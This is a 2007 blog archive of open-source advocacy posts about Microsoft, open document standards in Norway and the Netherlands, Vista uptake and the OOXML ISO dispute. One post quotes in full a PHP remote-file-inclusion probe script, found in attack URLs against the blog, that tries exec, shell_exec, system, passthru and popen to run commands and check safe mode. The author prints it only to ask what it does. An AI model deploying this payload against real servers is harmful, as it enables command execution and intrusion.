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Fantastic!
The EU vs. Microsoft litigation that finished a couple of months ago has finally bourne fruit. The Samba team now have royalty free access to the protocol documentation for Windows Workgroup protocols. Read the full story over on Groklaw. Massive thanks are due also to PJ for keeping the pressure on the EU so its judgement provided a way for Microsoft to deliver their protocol specs without encumbering users and developers with Patent restrictions and licenses.
Merry Christmas - This is a BIG deal for the Open Source Community and what a great way to finish what has been a pretty stonking year for OSS in general.
December 20th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: No Comments |
Over the last few days, I have had lots of site hits looking for rather strange URLs on this blog such as:
http://www.theopensourcerer.com/2007/10/25/upcoming-free-seminar//site.php?page=
http://www.erdc.cyc.edu.tw/4images/cache/rfi/test.txt???
I took a look at the file the url refers to. Here it is:
<html><head><title>/\/\/\ Response CMD /\/\/\</title></head><body bgcolor=DC143C>
<H1>Changing this CMD will result in corrupt scanning !</H1>
</html></head></body>
<?php
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}
else{
ini_restore("safe_mode");
ini_restore("open_basedir");
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : ");
echo("SafemodeOFF");
}else{
echo("Safe Mode of this Server is : ");
echo("SafemodeON");
}
}
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
exit;
Can someone who understands PHP tell me what this is trying to do? It is clearly a scanning/hacking tool designed to retrieve data - I guess to help with further exploits. But I can’t quite work it out, especially the
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
echo("Safe Mode of this Server is : "); line.
It’s a php script so why should it care if the site is on Windows or Linux? Any takers…
December 20th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: 3 Comments |
Following on from the very recent announcement from the Netherlands, the government of Norway has also stipulated that all public documents MUST be available in open standard file formats. [The English translation below is from Groklaw but not directly linkable]
Everyone should have equal access to public information: Open standards become compulsory within the government
The government has decided that all information on governmental websites should be available in the open formats HTML, PDF or ODF. With this decision the times when public documents where only available in Microsoft’s Word-format is coming to an end.
- Everybody should have equal access to public information. From 2009 the citizens will be able to chose which software to use in order to gain access to public information. The government’s decision will also improve the competition between suppliers of office applications, says IT-minister Heidi Grande Røys. This is the decision of the government:
* HTML should be the primary format for publication of public information on the Internet.
* PDF (1.4 or newer, or PDF/A - ISO 19005-1) is compulsory when you wish to preserve the original layout of a document.
* ODF (ISO/IEC 26300) must be used when publishing documents that are meant to be changed after downloading, eg. forms that are to be filled in by the user. - Norway’s Ministry of Government Administration and Reform
So, now two European (I know Norway is not truly part of the EEC but, like Switzerland, it is in Europe) countries have mandated Open standards for electronic documentation. I wonder how stupid the UK’s National Archive feel now? Or perhaps, because their management are Microsoft puppets, they didn’t really have a say in the first place…
December 20th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: 1 Comment |
The OSS Enterprise
I had a dream last night. I know this is really sad [dreaming about Open Source] but I thought it worth documenting anyway.
In my dream, I was working for a large corporate enterprise in some sort of techy role. One afternoon this chap comes into my office and tells me how he has just signed up our company to deploy, globally, a brand new email server system called Exchange. He then harped on about the benefits and what-not of his solution and was obviously very pleased with himself for securing such a large order. Until that is, I mentioned to him that thousands of our desktop users use Linux and his solution would not work. With that information he literally ran, screaming, from my office.
Isn’t it strange how dreams work sometimes? I was so impressed by this one I wrote it down as soon as I woke up so not to forget it. Whilst coming round with a coffee and thinking about the meaning of my dream, I had what, for me at least, was a bit of a brainwave; there is a really simple comparison between OSS and proprietary software…
| OSS |
Proprietary |
| OSS is created in public for the benefit of anyone/everyone |
Proprietary software is created in secret for the sole benefit of its owners/shareholders |
Simple isn’t it… Does it make sense?
December 16th, 2007
Categories: Personal Stuff, Runes and tales | Author: Alan Lord | Comments: 13 Comments |
I read this on a posting on the asterisk mailing list this morning courtesy of Doug at NaTel. It is probably not new but I found it funny.
Windows is a half-baked, dying OS that in essence is a 32 bit extension and graphical shell, for a 16 bit
patch to an 8 bit operating system, originally coded for a 4 bit microprocessor, written by a 2 bit
company, that can’t stand 1 bit of competition.
lol
December 14th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: 1 Comment |
Just how cool can they get? Our Dutch compatriots are once again leading the way:
The Dutch government has set a soft deadline of April 2008 for its agencies to start using open-source software — freely distributed programs that anyone can modify — the Netherlands Economic Affairs Ministry said Thursday.
Government organisations will still be able to use proprietary software and formats but will have to justify it under the new policy, ministry spokesman Edwin van Scherrenburg said.
Van Scherrenburg said the plan was approved UNANIMOUSLY at a meeting of two parliamentary commissions on Wednesday.
[Emphasis mine]
Now there’s a marvellous announcement. I’m especially heartened by that UNANIMOUS vote. That can only mean one thing; the Dutch government have not been bought by Microsoft - unlike our own shady group of American puppets who still seem to be living in the dark ages and are apparently ignorant of the benefits (or even the availability) of Open Source Software.
There is some good humour in the announcement too - from the Redmond based owner of much of the world’s Intellectual Monopoly:
… he said the company [Microsoft] was worried about and opposed other aspects of the Dutch policy, especially the provision that agencies should prefer open source.
“We think it’s not in the best interest of the wider software market to single out one model for endorsement like this,” he said.
HUH? What is the “wider software market” he is referring to? Oh, of course it’s theirs… What complete twaddle. Why can’t they just say ‘we don’t like it because we are going to lose business’. Or even better, make improved products that compete on a level playing field? Why spin their message with such meaningless drivel that it only exacerbates our bad opinion of them?
Open Source encourages competition and is inherently free of the encumbrances which lead to the closed and non-innovative scenario of Intellectual Monopoly. No one is saying they MUST use OpenOffice.org, or KOffice or Symphony, or even Google Apps. They are specifying Open Source so that the tax paying public are not restricted in the way they can communicate with their Government by having to use proprietary, expensive and patent encumbered software products.
Ik wens alle Nederlandse volk een heel prettige kerstdagen en een Happy New Year!
December 14th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: 1 Comment |
Oh dear, it just keeps getting worse for our friends in Redmond according to Silicon.com…
Microsoft’s Windows Vista operating system is failing to win over silicon.com readers, with two-thirds (65 per cent) saying their organisation will never move onto XP’s successor.
“Never move…” That’s quite a big statement.
Just two per cent of more than 800 respondents to the poll said their company has already made the move to Vista.
So that’s 16 companies out of 800 have moved already.
But despite these concerns, Microsoft says the business uptake of Vista has met expectations and is following the same pattern as previous major OS releases.
Gosh - that’s pretty low expectations for their biggest ever product release. If their shareholders were told this a few years ago ["Yeah, this is going to be our biggest ever OS release. It will cost billions of dollars to build, take us years and years, be a couple late probably and we think - oh at least a few hundred companies will buy it - especially if we give it away - and oh yes, it will have a really pretty interface"] I reckon plenty would have walked away in disgust.
But the bit I liked the best was this:
In another recent silicon.com poll, XP was named by 42 per cent of respondents as their most preferred OS. Vista gained 14 per cent of the vote but was beaten by both Apple’s Mac OS X and Linux.
Goody…
December 10th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: No Comments |
Rob Weir replied to a couple of comments to an article he wrote about the plans for maintenance of OOXML should it become an ISO standard. His comment is very insightful, quite scary but ultimately pretty accurate I think…
It is a scary proposition. I don’t think people understand how much Microsoft now owns JTC1 in a very real and tangible way. Absolutely owns.
Consider that it requires 2/3 approval of JTC1 P members to approve a standard. Microsoft, by various means, has managed to achieve very close to that number. They are only 5 short. If they achieve that 2/3 then they can ram through whatever standards they want.
But that scary part is that with even 1/3 of P-members, a number they clearly outright own, they can block anyone else’s standard. It probably hasn’t sunk into your realization yet,but Microsoft can essentially already erected toll bridge in ISO and demand payment or other concessions from anyone who wants to work with International Standards. If ISO rules get in the way, Microsoft can change them. If ISO administrators get in the way — no worry. With this number of NB’s Microsoft can control directives, staffing, paychecks, etc.
They’ve raised an army. You don’t think they will use it?
Is this the sort of company you want to trust your IT too? It isn’t mine.
December 9th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: 1 Comment |
Alex Brown, the chap who has the unenviable task of convening the forthcoming BRM in February for Microsoft/ECMA’s OOXML document specification, has posted a few first snippets from the initial meeting of the body called the ISO/IEC JTC 1/SC34 - Document Description and Processing Languages. This is the ISO body that must try and either create a workable standard from ECMA-376 (DIS29500) or throw it out.
In his most recent blog post, covering the opening meetings in Kyoto Japan of the SC34, there are some interesting titbits. I was struck by the list of individuals resigning their posts or stepping down. It’s quite a few people. I don’t know if it is common to lose so many in one go, or how many they represent as a percentage of the total. But still, I found it odd that 4 senior figures all decided to go at the same time. The last one he mentioned is the now famous Martin Bryan:
Finally, my own working group convenor Martin Bryan is stepping down in anticipation of his retirement next year. Martin has been something of a mentor to me, guiding me along some of the more Byzantine passages of the ISO/IEC process. At the plenary Martin spoke to his paper which has been the subject of some comment in the blogosphere (and which was never intended for public circulation). You could have heard a pin drop as Martin described how in 20 years of ISO involvement he had always enjoyed working with people who, although they might disagree violently, came to meetings as themselves. It would be a great shame, he said, if we got to a state where people came to meetings not as individuals with ideas, but as corporate representatives with positions.
So, Martin’s report was not intended to be public. I’m very glad it was. It has basically given credence to what many of us have been saying since this whole farce began; Microsoft has corrupted this ISO process to such an extent that many believe it is now fundamentally broken.
The other point of great interest for me was this:
… It is not Ecma’s responses themselves which are sensitive, but the National Body comments to which they are attached. These are, by ISO/IEC rules, confidential and should not be republished in public. Now, as a matter of fact these comments were published in public for several weeks anyway, but this was an aberration (the current SC 34 web site is not password protected; before the current controversies privacy through obscurity was enough to keep documents confidential). Ecma simply have to follow the rules. And they should have applied to ballot comments on ODF too.
Wow, that’s really interesting! The NB’s comments are supposed to be confidential, but before Microsoft’s attempt to brute-force this particular specification through ISO, come-what-may, it has never been an issue… I wonder why? Anyhow, you can read all the NB’s comments and perhaps help the SC34 by tagging the comments so they may concentrate on the areas of real controversy at: http://www.dis29500.org
And finally, Alex clearly has a sense of humour…
Dicing with Death
Following the opening plenary, JISC very generously treated officers of SC 34 to a delicious banquet, and one of the many course was – somewhat to my surprise – fugu. After some initial reservations (“this restaurant isn’t owned by Microsoft or IBM, is it?’) we tucked in. I must agree with the view that the taste of fugu is itself unremarkable, and I was not aware of an toxin-induced tingling sensation, but eating is does have its own special frisson …
Let’s hope that the Fugu was as well prepared as the SC34 needs to be next February.
December 9th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: No Comments |
In what is an astonishingly outspoken report, Martin Bryan, Convenor, ISO/IEC JTC1/SC34 WG1 has given us insight into the total mess that Microsoft/ECMA have caused during their scandalous, underhand and unremitting attempts to get - what is a very poorly written specification - approved as an ISO standard.
This year WG1 have had another major development that has made it almost impossible to continue with our work within ISO. The influx of P members whose only interest is the fast-tracking of ECMA 376 as ISO 29500 has led to the failure of a number of key ballots. Though P members are required to vote, 50% of our current members, and some 66% of our new members, blatantly ignore this rule despite weekly email reminders and reminders on our website. As ISO require at least 50% of P members to vote before they start to count the votes we have had to reballot standards that should have been passed and completed their publication stages at Kyoto. This delay will mean that these standards will appear on the list of WG1 standards that have not been produced within the time limits set by ISO, despite our best efforts.
These people, who do such important work in developing and specifying globally useful standards - that ultimately benefit all of us - are usually very circumspect with their choice of language in any public communication.
For Martin to write:
The second half of 2007 has been an extremely trying time for WG1. I am more than a little glad my 3 year term is up, and must commiserate with my successor on taking over an almost impossible task.
and even more:
The disparity of rules for PAS, Fast-Track and ISO committee generated standards is fast making ISO a laughing stock in IT circles. The days of open standards development are fast disappearing. Instead we are getting “standardization by corporation”, something I have been fighting against for the 20 years I have served on ISO committees. I am glad to be retiring before the situation becomes impossible. I wish my colleagues every success for their future efforts, which I sincerely hope will not prove to be as wasted as I fear they could be.
is really quite amazing.
Being the sceptic I am, I did wonder about the longevity of this article at its original location. So, for historical record, here it is.
I really can’t believe that Microsoft can be allowed to get away with this any longer.
December 6th, 2007
Categories: FLOSS in the news | Author: Alan Lord | Comments: 5 Comments |
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